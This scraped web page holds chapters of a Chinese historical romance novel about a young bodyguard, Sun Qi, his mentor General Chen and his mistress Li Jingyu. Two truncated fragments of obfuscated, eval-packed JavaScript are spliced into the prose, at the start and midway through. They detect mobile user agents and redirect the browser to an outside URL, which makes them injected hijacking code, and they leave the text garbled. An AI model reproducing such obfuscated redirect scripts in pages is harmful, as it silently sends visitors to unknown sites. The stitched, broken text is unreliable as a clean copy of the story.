l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322841|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姐待孙祈恩重如山,若非真心,定不会尽心栽培。这一切,孙祈都看在眼里。” 李惊玉没有露出笑容,神情反而凝重几分,“我知道了,你下去吧,早点歇息。” 月色模糊,彼此看不清脸,因此孙祈更能感受到她有点反常,似乎是在强行忍受着什么。他没有挪开脚步,第一次忽视命令,“小姐,您是不是身体不适?” 李惊玉看他不走,没有斥责,应道:“我无碍,你去吧。” 孙祈迟疑不定,最终听命退下。 五天日夜眨眼之间,孙祈大多时间跟中年男人待在一块儿,只知道他姓陈,家在京都大商,有无官职皆不知晓。 看山庄仆人对男人的态度,想必身份地位必不一般。孙祈无法如初那般松懈,男人好似有所觉察,无形之中,以亲和的相处化解他的紧张,没有任何贵人架子。 孙祈是不紧张了,反而更加敬重。 关于尊卑之分,孙祈在家乡那边感受不如这里深,没有近距离接触过真正的权贵。现在在外走两步就能碰到,他不习惯也得习惯,不会遵守的规矩都要学会遵守。 就拿最亲近的李惊玉来说,他都无法长时对视。不仅是身份地位的天差地别,还有李惊玉与生俱来的清冷贵气,教人不敢有任何怠慢。不光如此,让孙祈为之甘愿俯首的根由是,她对自己有恩。 这第二个赐予恩惠的,大概是陈前辈了。 离开山庄那天,孙祈没见到陈前辈,自然没有机会和他道别,于是写了一封信以表这几日对方对自己照顾有加的谢意,交于文管家转送。 兴许是打动了对方,仪仗队回宫的路上,陈前辈孤身骑马来访李家车队,特意给李惊玉带了东西。 李惊玉受宠若惊接过,和陈将军聊了两句,谁也没提孙祈,但她知道,陈将军此次大摇大摆地过来正是为了孙祈。 等陈将军走后,李惊玉把东西转交给孙祈,“这是将军给你的?” “将军?”孙祈呆住,经她提醒才回过神,接烫手山芋似的把东西接了过来,“真是给我的?” 李惊玉微笑:“我与陈将军素昧平生,他来的原因自然是为了你。” 孙祈:“小姐早就知道同我一起骑射的是陈……将军?” “说不上。后来才发现的,只是不想你有负担,故而没有告明。”李惊玉思量道,“短短几日相处,他能给你送礼,说明他挺喜欢你这个晚辈的。孙祈,你……” 她蓦地止音,似在顾忌什么,不再说了。仔细听的孙祈没有忽略,反问:“小姐,怎么了?” 李惊玉笑容微顿,然后恢复自然道:“我是想说,陈将军虽然常年征战沙场,性子难掩刚烈,但本性良善,是值得深交之人。孙祈,你刚来潇湘没多久,可以多交结几个合得来的朋友,日后你想去找他们,只要理由合理,我不会阻拦。只是不论以后发生什么,你都是我李府的人。” 孙祈乖觉颔首,“我知道了,小姐。” 离开蒙山山庄,仪仗队浩浩荡荡摆驾回宫,结束了这段踏青的旅程。 回府的第一天,李惊玉立刻派人整顿收拾行囊,叫人仔细打理寝室书房,把自己常坐的地方统统清扫了个遍,包括孙祈居住的地方。 她越来越看重孙祈,李府上下人尽皆知。 这天,李南王爷罕见前来看望李惊玉,遣退了在场服侍的所有仆人,确定外面无人伺守,这才道:“你那个贴身侍卫最近怎么回事?怎么跟陈将军跑一块儿了?” “父亲,您是在担忧吗?”李惊玉含笑扶他入座,“是这样,孙祈在山庄误打误撞结识了陈将军,他不知对方身份,所以没有顾忌,把陈将军当作前辈一样相处,陪他骑射下棋。只不过短短几日时间,陈将军便对孙祈赞赏有加,可见两人兴趣十分相投。下山那日,陈将军还捎礼送到女儿这里。女儿自知是沾了孙祈的光,因而又将礼物转赠给了孙祈。” 李南王爷陷入深思,“本王是真好奇,这孙祈身上到底有何魔力,竟让你和陈将军一同看重他。” 李惊玉垂首礼笑道:“那自然是他有过人之处了。如果父亲和他相处一段时日,定也会欣赏的。” “行了,本王可没空去观察一个毛头小子。”李南王爷两手搭在膝上,双腿自然岔开坐着,神情俨然,“要是陈将军当真看上了你的贴身侍卫,你会如何?” 李惊玉讶然不解,“父亲为何这么说?” 李南王爷:“王上要新的血脉,陈将军年事已高,不比壮年,自然要有人继承将位。可惜陈家那几个烂泥,没一个合适的……倘若他有意培养孙祈,你想怎么做?孙祈又会怎么做?” 说到最后,他透着一股不易觉察的狠厉。凭这微妙的语气,李惊玉猜想父亲应是害怕孙祈背叛李府,酝酿道:“孙祈心有志向,向往高处也是正常,但他不是忘恩负义之人。三个月来,他对女儿的吩咐命令从来说一不二,父亲不用担心他把李府当作垫脚石,他没那个算计。不论孙祈走到哪里,什么身份,永远不会忘记女儿对他的恩情。” 李南王爷眯起眼睛,“你想说什么?” 李惊玉温笑道:“父亲,多一个熟悉的权贵,李府往后的路便多好走一分。既然孙祈有成为的可能,何不给他一次机会?他本来不是李府的人,只是阴差阳错做了女儿的贴身侍卫。他日若功成名就,对李府而言,则多了一份攀亲的关系;若无能无权,对李府亦无影响。” 房间沉静下来,李南王爷直直看着李惊玉,“所以是你撮合孙祈认识陈将军的?你真是为了我们李家?” 李惊玉面不改色跪下磕头,“女儿唯一的错,就是没有管好孙祈。孙祈是个粗武的鄙夫,不懂世家尊卑之分,让他冒犯到了陈将军。” 李南王爷沉思道:“冒犯应该没有,反而还很喜欢,不然陈将军不会借你的名义送孙祈礼物了。” 李惊玉疑惑,“父亲……怎的知道?” 李南王爷:“陈将军送礼前同我讲了一声,我自然知道。他脾性暴躁,人却不错,说话会顾及对方的面子,不是完全的莽夫,在朝廷人缘还可以。” 可以是可以,但和李府不熟。 说了这么多,李南王爷总算要拍拍屁股走人了。李惊玉整理衣裙从地上起来,送他出去,门口转角,恰好撞见进来的孙祈。 李惊玉下意识后退半步,面上的微笑有一瞬凝了凝。 李南王爷一如平常,只是这次同孙祈说话的态度温和了些,“来服侍小姐了?” 一句寻常的话,孙祈感有不适,绷紧了神经,一行一举极为得体,“回老爷,是的。” 李南王爷点头,“去吧,好好服侍小姐。” 他是第一次这么与自己说话,孙祈分外震惊,掩去面上的情绪,朝他重重一礼,随后退避他离开。 李南王爷走后,孙祈松了口气,走到李惊玉跟前,呈上她交代要买的彩墨条,“小姐,这五根墨条总共三十文钱,还剩十文钱。” 对面迟迟不予回音,孙祈好奇抬头一望,见她脸色有点勉强,试探问道:“小姐,老爷来找您干什么?” 李惊玉回神,“没干什么。” 孙祈:“真的吗?我看您脸色不怎么好。” 李惊玉摇头,“我真没事……你刚回来是吧?外面天气热,我看你满头大汗,不如先回房歇息,沐浴换衣后,再来书房帮我研墨。” 孙祈:“好。” 他走之后,李惊玉先回了书房,做什么都心神不宁。半炷香以后,孙祈换好干净的衣袍进来,她不自觉绷紧了几分身体,强忍着不适,把他请到旁边坐下,分出一支墨条给他,“慢慢磨,不够加水。别忘了戴手套,墨条会脏手。” 孙祈点头以示知晓,开始戴手套加水研墨,顺便帮李惊玉常用的毛笔泡软洗净了。 他的动作轻微声细,李惊玉听着,感觉身体里像有东西在挠,痒痒的,很抓人,也很让人心慌。 她知道,这份心慌源于心虚。 李惊玉很清楚自己重用孙祈的根由是他有利可图,明明心若明镜,可不知为何,对李南明说对他存在利用时,她感到害怕,害怕失去这个可以改变她人生轨迹的希望。 她把自己能赌的东西,全部押在了孙祈身上。倘若他知道并且厌恶她的种种心计,那么她的所有计划将会功亏一篑。 李惊玉在想,如果自己对他足够好的话,那么这些算计,是不是可以抵消大半? 一定可以的。 李惊玉会把他推到万人之上的位置。 52. 长相思(拾叁) 孙祈回归李惊玉的身边照常伺候,后来一封邀信从陈府送来,打他一个措手不及。 少年从未想过,自己会与这样的大人物扯上关系。 信上只说请他吃酒放松一下,孙祈不敢贸然前去,怕冲犯规矩,把此事说与李惊玉听。 李惊玉淡然笑道:“他是商阙的护国大将军,你还怕他吃了你不成?去吧,没事。” 有她这话,孙祈放下心来,依然把陈将军当作前辈看待,前去赴约。 陈将军对他同样是之前的态度,这让不大会处理人际关系的孙祈轻松许多,很少如坐针毡。 几次邀约,二人渐熟,似乎忘记自己的身份,远而不疏,近不失礼,关系恰到好处。 两个月过去,孙祈已经学会主动向陈将军请教,陈将军答得不亦乐乎,每次回信都是大段大段的内容,有时幽默的语气会逗得孙祈笑得弯眼,然后无奈扶额。 原来,在陌生的大人身上体会到被关爱的感觉是忐忑而幸福的,就像李惊玉对他施舍恩情一样。 孙祈感觉自己的生活丰富有趣起来,可好景不长,这样平静和谐的日子被一封书信打破。 他不敢相信,怀着忐忑不安的心去问李惊玉的看法。 李惊玉看完信纸,将它小心叠回原来的样子,“陈将军的意思很明显,他在给你一个施展志向的机会。这和普通人入伍是远远不同的,你是由他本人亲自引荐,说明他认为你有培养的潜质。” 孙祈:“自学兵法也算潜质?” 李惊玉笑着摇头,“旁观者清。他看重你的不只是自学成才的潜力,还有其他。” 孙祈想不明白,没有表明拒绝或是答应,眉带忧愁,“我要是去了,那小姐您……” 李惊玉微微弯唇道:“放心好了,李府守备森严,一只鸟都飞不进来,还真担心有人翻墙进来拿刀架我脖子?你就安心去吧,趁现在有机会,放手去做想做之事。谁拦你,我挡着。” 这等厚待让孙祈无话可说,说“谢”太轻,不谢失礼,全然不知以何礼表达,傻在原地跟个木头似的。 李惊玉见他呆着,无奈笑笑拍他肩膀,往前走去。 孙祈对她远去的背影躬身抱拳。 他回到寝居,写了一封回信过去。几日之后,陈将军在回音中阐明招收新兵是每半年一次,下次是两个月后。他若想去,正常报名即可。 孙祈开始漫长的等待,不断打听了解朝廷的兵务。 听闻,陈将军掌管的部队称为义军,乃商阙王朝第二大军,在侍卫军之下。侍卫军的最高机构是金骞管领的御前侍卫军,往下是整个王宫的御前侍卫,总共上千精锐,外加两千步卫,尽听王上号令。 金骞能力超出常人的强,花了五年时间把御前侍卫队带到前所未有的高度,原本的护卫队伍硬是变成一支忠君护国的朝廷侍卫军。 陈将军近年身体不好,加上商阙好几年不发大战,和平安乐的生活氛围卸下义军的警肃,军队的锐气被磨平几分。 不过,这些终有一天会被人重新拾起。 两个月后,孙祈按照陈将军说的,在义军招收士兵前夕坐着李惊玉安排的马车赶到京都大商,在义军收录报名者那儿写下自己的姓名来历。 义军是分地招收士兵,大商以内,各城相连,以免人群集中不好调训,唯有兵演或是大型典会才会集中全军防守,维持秩序。 孙祈听李惊玉的,选在距离大商城心最近的一个城镇上。等过三日,他接受义军对新兵身体素质的严查,凡是军方所求,他都符合,于是顺利进入义军的预备军。 军练比孙祈想象中的还要辛苦,但还能捱。也许是他平时做惯了粗活,又从小练武,所以体格强健,做什么都比旁人迅速。仅过半个月时间,他在队长眼里有了一个深刻印象:皮肤黝黑,笑起来露有两排整齐的白齿,性格内敛乖觉讨人喜,吃起苦来很能坚持。 看他年纪小,又这么讨喜,队长偶有照拂,觉得自己像是捡到一个宝贝,心中美滋滋的。 又过半月,大商主城的义军总部派来几人,说是要找一个姓孙的外地人士。查来查去,刚好查到队长宝贝的孙祈身上。队长忍痛割爱,早知是陈将军看中的人,他就不该有任何妄念。 孙祈被人接回义军主营,直入陈将军的军房。还没行礼,对方过来拍了拍他肩膀,叹气道:“怎么跑到别的营地了?叫老夫好找。怎么?我把你引荐过来,你还往别人那儿跑?这是什么道理?” 孙祈干笑两声道:“晚辈……路痴。您信上没说具体要去哪个营,我就走哪儿报哪儿的名儿了。” “哎呀,无妨无妨,反正找到了人……”陈将军坐在铺着白虎皮的太师椅上,拿起面前桌上放的一杯黑水,他吹走热气灌了两口,五官拧成一团,又慢慢舒开。 闻到空中泛着苦味,孙祈问道:“陈将军,您这杯里装的是中药?您得了什么病?” 陈将军淡然一笑:“年轻时候落下的毛病,好多年了,一直是这样,不用担心。” 沙场不是颐养天年的富丽王宫,常年经受暴风沙雨的人身体多少会有问题。孙祈没上过沙场,但也懂得这个道理,看他慢慢喝完杯中的药水,竟然为之松了口气。 陈将军喝完,用帕子擦擦嘴道:“我叫你来是想说你不用再去那个地方了,来我这里。” 孙祈忐忑道:“陈将军,您这样会不会太草率了,晚辈还没——” “我可没说你不用参加入伍考核。两个月时间,自己好好准备。成了留下,不成就滚。”陈将军双目含笑坐回椅上,用笔墨在一张写满黑字的名册上添了孙祈的姓名。 孙祈远远望着,辨出自己的姓名的字迹与其他姓名的字迹不一样,写他姓名的字迹更为狂草霸道。 离开陈将军的营帐,孙祈没个喘气的机会,被他的亲信带到队里开训,和其他人一样接受残酷的洗礼,晚上方才结束。 日子一直持续到考核那日,孙祈顺利通过,毅然选择留下。正式入伍前,他们可以回家待个三天,和父母好好团聚吃饭再归,无家可归之人不得乱出,只能守在军营,其余时间可以自行安排。 孙祈待在营地哪儿也不去,陈将军得知以后想找他下棋,像之前在山庄一样找点乐子打发时间。 奈何事有变故,总营门口来了一架华贵大气的马车,一名华裳少女从中钻出,神容清丽,气质高贵,看人的眼神皆是淡漠,不分三六九等,这更加使她本人疏淡神秘,令人难以参透。 少女受着贴身丫鬟的搀扶走下马车,报上名号:“我乃潇湘李氏千金,来找孙祈,烦请这位将士帮忙禀报一声,我要见人。” 门口的守卫一听,朝她行礼,匆匆跑到陈将军的营帐报信。 听到李惊玉赶至,孙祈执棋的手一抖,抬头看着陈将军,不知该说什么。 陈将军面容带笑,继续下棋道:“见惯了亲人好友相聚,这主仆相聚倒是头一回。不知是你福气太好,还是你本就值得。” 孙祈接着对弈,没有作答。 陈将军眼神狐疑,嘴角带着捉弄的笑意:“傻小子,你家小姐亲自来找你,你还不去接人?陪我一个老头子下棋可没什么意思。” 孙祈得令,起身朝他行礼,“那,晚辈告辞,三日后见。”他一步两回头走到主帐门口,最终忍不住问,“将军……不回家?” 陈将军一派悠然自得之相,“家有什么好回的,就那样,不如在留在营里和下属斗鸡斗蟋蟀。你一个毛头小儿少替老子操心,去吧。” 孙祈转身跑向营地门口,又在过程中放慢脚步,不停整理衣领和袖口的褶痕,直到觉得差不多时,挺直背脊走出门口。 艳阳高照,李惊玉撑着一把青色油纸伞站着,未沾半点胭脂的面容浮出虚虚水光,在半透明的伞面下映得愈发温润,将她天生的冷白肤色都衬得快要发出光芒。 孙祈顿住脚步,微微低头。 李惊玉过来几步,递出手帕,“擦擦。” 孙祈这才发觉自己浑身滚烫,满头大汗。他面上微赧,双手接过手帕,垂着眼皮,用手帕轻轻拭去汗珠,“多谢小姐。” 飞雁在旁打趣:“说话这么小声,是在营里被揍得没力气了?” 孙祈摇头没有回话。 日头正晒,李惊玉叫车夫牵马给孙祈,给他一顶斗笠遮阳,一路南下赶回家府。 路上,孙祈骑着马在车外跟李惊玉聊天,说了很多关于在营里的事。李惊玉问他参军的心得体会,孙祈脸上展露笑颜,露出洁白的牙齿,说很辛苦很疲惫,但很高兴。 李惊玉认真听着他的描述,猛然发现孙祈在克制情绪,尽量平静而述。他的气息透露着忐忑、激奋和期盼,明明那么活灵活现,他却不曾觉察,好像没有真正地正视过自己一回。 一向沉稳的李惊玉掀开车帘,露出一个少女该有的俏皮,笑道:“回家后你教我骑射吧,我想试试是什么感觉。” 孙祈微微瞪大双眼,阐述自身的情况:“小姐,我的骑射还没厉害到教人的地步,我怕……不小心摔着了您。” “那你及时接住我,没接到扣钱,一次一百。”李惊玉不给孙祈打退堂鼓的机会,放下帘子哼起轻歌。 孙祈无可奈何,拽紧缰绳,满脑子都在想到底该用什么法子教她,要是伤着该如何。 今日李惊玉的心情似乎格外明朗,谈吐不如以往端庄,慵懒又随意,轻松且自在。孙祈被她感染,这么多天积攒的疲惫和紧张一挥而去,像在外面流浪的人终于回到家中一样,让人不禁舒心放松。 一想到家,孙祈便想到母亲,想知道她得知儿子入伍会不会为此自豪高兴,想知道她是不是还在沈家做活儿。 路途至尽,到达李府后的第一时间,孙祈先回房拿笔在纸上琢磨了一堆文字,晾干之后叠好存进信封,转托管家代为寄送。忙完这些,他没有歇息,去浴房洗去全身汗水,换上干净衣裳,在李惊玉的书房替她研墨。 时隔几月,在同样的场景做同样的事,孙祈恍惚不已,仿佛和李惊玉这样独处是上辈子的事。他的身份地位在慢慢改变,不再只是李府护卫,还是护国大将军看好的新兵,可谓前途无量。 李惊玉出身以来便坐拥高位权力,至今一成不变,可惜大事不能自己做主,每天被无数眼睛盯着,但凡有任何逾矩,背后真正的权力之主就会想方设法地阻止她,无视她的喜怒哀乐,这让孙祈想到书里说的……笼中金雀。 以前他觉得大户人家的子女最是幸福,衣食无忧不愁享乐,现在看来未免太过绝对,每个人都有自己的苦恼,只是对象不同,程度不一。 李惊玉,你会不会也渴望笼外的自由? 孙祈放轻研磨的动作,低眉顺眼,强装自然地瞟向坐在位子上的李惊玉。她的唇角微扬,落笔洋洋洒洒,似乎很久没这么高兴了。 他一时难以移眼,等反应过来,李惊玉正望着他,递出一个白白胖胖的矮小瓷罐,“护手霜,没事可以多用用。” 孙祈惊叹她的心细,怀疑自己的全身是不是也被观察过,面上表情一凝,讷讷接过这个长得像白色小肥啾的瓷瓶,“多谢小姐。” 似乎厌倦了他言谢的次数,李惊玉蹙眉表明道:“不要再说谢了,显得生分。” 孙祈垂首道:“……是,小姐。” 这次李惊玉没有多加时辰,早早回去洗漱歇息。孙祈清楚她为何如此,回到居室冥思苦想,想着想着睡着了。 翌日清晨,李惊玉吃完早膳过来,揣着两个肉包子在他眼前晃悠,“想吃就起床。” 孙祈没有赖床习惯,几乎每天起早贪黑,看到她穿金戴银、衣冠整齐地出现在面前,登时呆住,不可置信自己居然睡到了现在,还是李惊玉叫醒自己的。 他深深吸一口气,抓紧被褥往身上盖,沉寂半天,鼓起勇气开口:“小姐……我先换衣服,您去外面等我吧。” 李惊玉扬眉,“行,你快点。” 等她出门,孙祈去橱柜翻出一件还算看得过去的衣服换上,把头发扎成简单的发髻,用一根木簪固定。整装好自己,他不忘叠好被褥,放齐枕头,把床榻打理得有条干净。 “好了没有?”李惊玉在门外问。 “刚刚好。”孙祈开门请她进来,在她的要求下,用两个肉包子和粥食点心当作早膳。 李惊玉坐在对面什么都不做,静静看他进食。 孙祈坐着吃了一会儿,实在忍不住问:“小姐,您在看什么?” “我在看你。”李惊玉坦然,“你变黑了、瘦了、高了。” 孙祈愣住,挤在喉间的食物像烫水一样滚下空肚。 在这段隔着高墙的关系中,少年仿佛看见互相通行的门窗,究竟是他的错觉,还是她在主动? 他不敢多想,狼吞虎咽地吃完食物,问李惊玉要在何处进行骑射,显眼的地方肯定不行,容易被李南王爷撞见,届时是孙祈受罚还是李惊玉受罚,不得而知。 两人不愿去赌,找到合适的理由出府,到专门可以骑射的马场押钱训练。 马场周围空气清新,地方辽阔,李惊玉会先站在高处闭眼感受风度。每当这时,孙祈总要站在身后伸手护她。 他听着她的呼吸,看着她的侧脸,听她启唇说道:“如果我从这儿掉下去,死了怎么办。” “那我也跳下去。”孙祈不作思索地应答,旋即愣在原地,脑海闪过一个中年女子的脸庞,到嘴的“跟着死”终究没能出口。 李惊玉,我不止一个牵挂,对不起。 李惊玉像是知道他为何迟语,扬唇微笑道:“我不喜欢强人所难,也不喜欢冲动的白痴。” 孙祈点头不语。 放松时候两人会有一搭没一搭地聊,训练时候却顾不上闲情,所有事情都变得让人紧绷。 孙祈说自己教不了骑射不是假话,他完全不敢带着李惊玉坐同一匹马,只能骑着另一匹马跟随保护。 李惊玉不勉强他,自己一人尝试习惯训马,发现没那么难,壮大胆量,慢慢掌握训马的皮毛技巧。 倒不是天赋异禀,以前她骑过马,后来被李南王爷看到,打断双腿,养了一年半载才好。男人手段这么无情,无非是她违逆他散布出去的千金形象,若是被人发现,他精心策划的姻缘便会崩溃成渣。 可这本身就是谎言,传闻中的李惊玉,远远比不上现实里的李惊玉。 看到孙祈为自己担心受怕,李惊玉反而镇定自若,骑马在草场走了两圈,速度由慢到快,最后小跑起来。 孙祈骑着另一匹马追在李惊玉后面,等她累得喘气,快要停下,方才勒绳停马过去接她,然后两人坐在石阶上休息吃瓜,等恢复体力,继续学习射箭。 李惊玉的力气并不柔弱,拉弓的姿势被孙祈纠正几回,变得将近标准,但离真正的标准还差一点,估摸需要勤学一段时日才能到达水准。 她让孙祈教自己骑射不是为了干什么,而是单纯想这样做,不管学得好坏,她都乐意接受。 孙祈不厌其烦,教李惊玉学了一个时辰,习况有所好转。就在最后一步进修加固时,她突然嫌累不学了。孙祈愣完说好,带她穿过无人小道,回到居室。李惊玉在此歇到黄昏,回去之后,再没来过。 后面两天,孙祈时常坐在门前看书逗鱼,照常去书房帮李惊玉打下手,擦擦琴,研研墨。 离开那日,李惊玉换了一身素衣,在小院吹了一首曲子给他,箫声清幽,渺渺悠远,在孙祈心里有了别样的感觉。 这样的告别他历经过一次,只不过是在不同的时间与不同的人告别。 新兵回归,军营一天比一天严格,陈将军亲自下场督守,严整年轻士兵的阵营风气,不停重复习武的基本功,让他们留下肢体记忆。 整整三个月,营里都在进行封闭式训练,后来陈将军穿戴轻甲,说要带这些新来的和老兵去边疆远行勘察,亲眼熟悉地形,以免日后上场不知怎么布阵。 离开之前,孙祈收到娘的回信,心里的空缺被亲情填补。他又写一封信送去,问她过得好不好,不要在沈家做活儿了,他现在可以挣到很多很多的钱养家。其实这些娘都知道,因为他挣到第一份钱时就寄回去了。不过依娘的性子,八成攒着没用。 这封信比送到李家还远,孙祈没有时间等待下一次回信,响应总营及陈将军的号召,踏上更遥远的路途。 出发之前,王宫派了一支乐师队送行,击鼓颂声气势磅礴,和李惊玉吹的不太一样。 孙祈听得出神,陈将军侧视他半晌,解释道:“这是商阙的习俗。每当有军队远行出征时,王上担忧将士魂留沙场、尸骨无存,会在他们出发之前击鼓高颂,以表王朝最崇高的敬意。当然,王上更希望的是,家乡的声乐可以召亡魂回家。” 孙祈:“如果送行之人没有击鼓高颂,而是吹了一首幽沉的箫曲,此为何意?” 陈将军:“在商阙,箫声多用于送行孤行之人,曲意不定,要看吹曲人和告别之人的关系。像我第一次远征的时候,我夫人便是吹箫为我送别。” “倘若不是夫妻呢?” “那想必关系匪浅,情真意切。不论亲朋好友,吹箫只有一个作用,那便是对离别之人表达思念。” “嗯……”孙祈沉思,“将军,我们这次是远行出征吗?” 陈将军:“算是吧。” 空气突然安静,孙祈不说话了,陈将军见此失笑,“怎么,后悔了?” 孙祈摇头看天,“我只是在想,那么远的路,送出去的信会不会被弄丢?” 陈将军慰藉道:“丢了没关系,保证活着回去就行,没有什么思念比见一面更重要。” 是,表达再深的思念,远不如见一面直接。 送行结束,远征的将士一路轻装走往西边,白日赶路,夜里打盹,历经半年的风雨日晒,总算抵达边疆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322842|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 最近的城防地有人前来为陈将军及义军接风洗尘,设宴招待一个晚上,星辰漫天,篝火如烈阳,热得人心灼灼,欢声绵长。孙祈第一次感受到陌生地方的乡情热心,原本带有惆怅的心情一下变得生机勃勃。 次日晨起,他没有莫名的失落空荡,跟随陈将军的队伍走到高山之上,眺望远方的地势或是近处的山景,永远忘不了急湍的泉水汇聚成汹涌的浪河,流过山头,坠下百尺深潭,惊叹海浪如同旁观的人心一样,难以抑制。 说是带新兵探地,实际是另一种磨练。商阙如今占着九州的大头,但边境仍有恶徒不断骚扰,要想彻底消灭对方,除非发兵耗力,与之分晓胜负,方能平息。现在不动手,是王上不想浪费精力防备小人,每年顶多派重兵把守,抓到的不留活口即可。 他最想做且最担忧的,是邻国雪丘日渐壮大,不知将来何时赶超商阙,必须斩草除根。 在山的那头,隐约可见皑皑白雪。陈将军指向那里,对孙祈道:“从这里到那里,只要十天半个月,但跨过那道山门,要赌上时间、精力、胆量和性命。你知道为何商阙强盛九州,却总犹豫和雪丘开战吗?因为那里常年寒冷下雪,生长在温暖环境的商阙人过去容易受冻,再遭遇缺水缺粮,就不只是受冻失温那么简单了。” 孙祈望着那边连绵的白雪,失语片刻,“那里……很漂亮。” 闻言,其余并站的新兵老将纷纷投来目光,眼神各异。 陈将军先是一愣,然后哈哈大笑:“可惜再漂亮,终究不属于我们。” 孙祈启唇欲要吐词,又听他道:“如果这片大地没被人占领建立国度,雪山高原是最值得一探生机的地方,那么做鸟最自由。” 孙祈眼前一亮,继续听着,陈将军却不再谈论这个话题,转而说起前方的险峻地势,怎么避开凶险云云,很快带孙祈进入到另一种严肃的状态。 这里的环境比城内恶劣,义军没有一日停歇练兵习武,一边受着暴风雷雨的摧残,一边携带武器爬山过水,能体验的都体验过了,只有在节日和休沐时,陈将军会稍微放松军队紧张的氛围,让他们写信给家里报平安。 孙祈写了两封信,一封寄给母亲,一封压在箱底。他的空闲时间不如别人多,不是陪陈将军下棋、谈论如何人定胜天,就是把自己关在室内雕刻,一刻就是一个时辰以上。 这时,外面传来一声鸣啼,一只游隼盘旋于上空,然后俯瞰而下,落在窗前歪着脑袋观察孙祈。 孙祈面带笑容看着它,刻雕的动作愈发灵活,还用炭条在纸上粗略画了几笔,以防错过这只游隼的某一瞬雄姿。 是了,他刻的是一只翱翔于天际的游隼,虽不如巧匠雕刻得精美,但七分神似还是有的。反正在边疆一时半会儿走不了,可以趁此进修雕功,总有刻得栩栩如生的那天。 勘察游守的日子比孙祈想象的要长,他的信还在犹豫着要不要送出去,一封从潇湘寄来的信已经送至,落款人是李惊玉。 自这以后半年的游守日子,孙祈一直和李惊玉保持书信往来,起初是问候,后来是请教。 李惊玉熟于书上的内容,孙祈会把亲眼所见所闻的统统写在信上,问她假使在某个险峻地势,敌方使用了调虎离山该怎么挽救。李惊玉从没见过外面的世界,好在孙祈描述完整,画面丰满,使她能清楚了解时局,结合自己所学,给出了一个解决的方案。 俗话说,纸上谈兵不如亲身经历,有孙祈在边疆作眼睛,李惊玉的思想跳跃得很快,每次都能答复他的疑问,并且不会有很大漏洞,最多是无法弥补的小错,可以做到最小损失。 换言之,是可取的。 孙祈十分佩服她,经常传信交流思想,加上陈将军有意栽培,他进步突飞,大半年后,已经大致掌握了用于实战的基本兵法,还是有天赋的。 眨眼间到了年底,将士换上棉服冬鞋,在边城巡游驻守。 孙祈被安排在主城守夜,不站一两个时辰不能下岗,极其难熬无聊。他想了很多,想起母亲当初的告别,初见李惊玉时的木讷自卑,以及后来的种种……对她最深的印象,停留在了吹箫送别的时候。 他越发觉得当时的感受不是错觉,不停回想,为什么一个毫无血缘关系的人会尽心尽力地托举自己,如果是有利可图而行之,那为何要……做戏这么周全。 孙祈仰头默思,突然觉得离开遥遥无期。 今夜没有圆月,星星却是眨个不停,孙祈盯着看了好久,直到有人走到他跟前,质问:“两只眼睛睁着不站岗,是想挨棍子吗?” 孙祈抿抿唇,不好意思承认自己在看星星,于是道:“抱歉总指挥,我刚刚睡着了。” 总指挥:“待会儿下岗自去领罚,之后我会清算扣饷。” 孙祈:“……好的指挥。” 过年前夕分外热闹,总营灶房的锅铲都能抡起火星子来,端出来的饭菜不是一大碗就是一大盘,热气腾腾,香气四溢,看得人直流口水。将士们驻守防固大半年,过年能吃上丁点鱼肉,实属不易。 跨年夜那天,孙祈是跟陈将军及总指挥一起度过的,陈将军给了他一把轻盈的剑,出鞘即闪芒,破空细无声,孙祈一下爱不释手,言谢一声。 陈将军眼神慈爱,笑道:“指挥跟我说,你不好好站岗,偷偷地看星星了?” “我……”孙祈无话可说,没想到自己撒个小谎被看穿了。 一旁的总指挥无奈道:“我大老远就看见了,孙祈看得入迷,我走到他跟前,他才看到我。按军法,我的处置可是合情合理的,也就扣了那么一点军饷,影响不大。” 陈将军:“孩子长这么大就想锦衣玉食过上好日子,你还扣人家军饷?下次不准了,换其他的处置。” 总指挥:“行啊,那这次算喽?扣都扣了。” 陈将军指了指他,“你小子……” 总指挥仿若未闻,一笑而过,转头对孙祈道:“扣了你的军饷,你小子不会记仇吧?” 孙祈淡淡笑道:“不会,我本就该罚。假使我以这样的状态站岗,恰逢敌军袭营,我肯定发现不了,到时敌军得逞,我就是十恶不赦的罪人。” 总指挥“嗯”了一声:“还知道自己错在哪里,不错。” 说到星星,陈将军忍不住抬头仰望,“孙祈,我没记错的话,你已经过了十六吧?” 孙祈拱手答道:“回将军,我刚满十六。” 陈将军应道:“我第一次来边疆勘察也是十六岁,那时我兄长还未去世,是陈家的一家之主,兼青旗统领……我们相差整整二十岁,是同父同母的手足兄弟。我懂事以后,他开始教我习武练兵,却在我长大后毅然参军时,无情地拒绝了我。他不希望我走上这条路。” 青旗军由陈家嫡长子带领,许多年前与外境彪蛮一战,遭受奸计暗害,在快要打完胜仗的时候,他的头颅被奸细割断,带到了彪蛮大王的手上。 青旗的军师接受不了这个打击,活活恸哭死去,无人继承的家产被充公施救给了贫民。其他出生入死的兄弟也好不到哪儿去,花了很长时间走出这个阴影。后来没几年,青旗成功覆灭彪蛮,为自己的主上一雪耻辱,大报血仇。 陈将军说:“一个对将士的极大侮辱,就是没有历经轰轰烈烈的战场,死如鸿毛。” 覆灭彪蛮以后,青旗自主瓦解,彻底消失。 这以后,已经参军多年的陈德利凭一身功绩博取王上信任,成为一名护国大将,组建了自己的队伍,名为义军。 他率领义军多年,一直清楚,当初第一批进来的人,有青旗的老兵。 为什么离开了还要回来?大概是想看看当年的小子到底有没有他们主上的风范吧。 陈将军忽然说起自己的亲人,孙祈有些意外。 关于青旗,他儿时听说过,只是没有料到,陈将军会是青旗统领的亲弟弟。他好像不怎么对外强调自己是陈家后代,所以对商阙战史不怎么了解的人,很难想到他俩是亲兄弟。 